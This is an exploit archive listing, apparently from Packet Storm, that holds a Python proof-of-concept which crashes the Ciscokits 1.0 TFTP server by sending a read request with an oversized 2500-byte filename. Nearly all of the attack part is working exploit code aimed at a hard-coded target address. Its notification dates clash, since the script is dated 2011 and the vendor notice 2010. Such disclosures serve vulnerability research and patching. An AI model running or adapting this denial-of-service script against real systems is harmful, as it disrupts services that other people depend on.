what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ciscokits 1.0 TFTP Denial Of Service

Ciscokits 1.0 TFTP Denial Of Service
Posted Jul 24, 2011
Authored by Craig Freyman

Ciscokits version 1.0 TFTP long filename denial of service exploit.

tags | exploit, denial of service
SHA-256 | 383be13aeec64ac2315d8b82ed84ca0e439ee47189bc18beae7f9010d78dd05e

Ciscokits 1.0 TFTP Denial Of Service

Change Mirror Download
#!/usr/bin/python
#Title: Ciscokits 1.0 TFTP Long Filename DoS
#Author: Craig Freyman (@cd1zz)
#Date: July 22, 2011
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
#Tested on: Windows XP SP3
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.
#Notes: When a long file name read request is made the CPU will spike
#and within about 20 seconds the TFTP service will crash.

import socket,sys,time

host = '192.168.133.128'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

crash = "\x41" * 2500

mode = "netascii"
files = "a"
print "File name READ crash"
#seems to only work on a READ command = x01
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
s.sendto(pwned, (host, port))
time.sleep(2)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close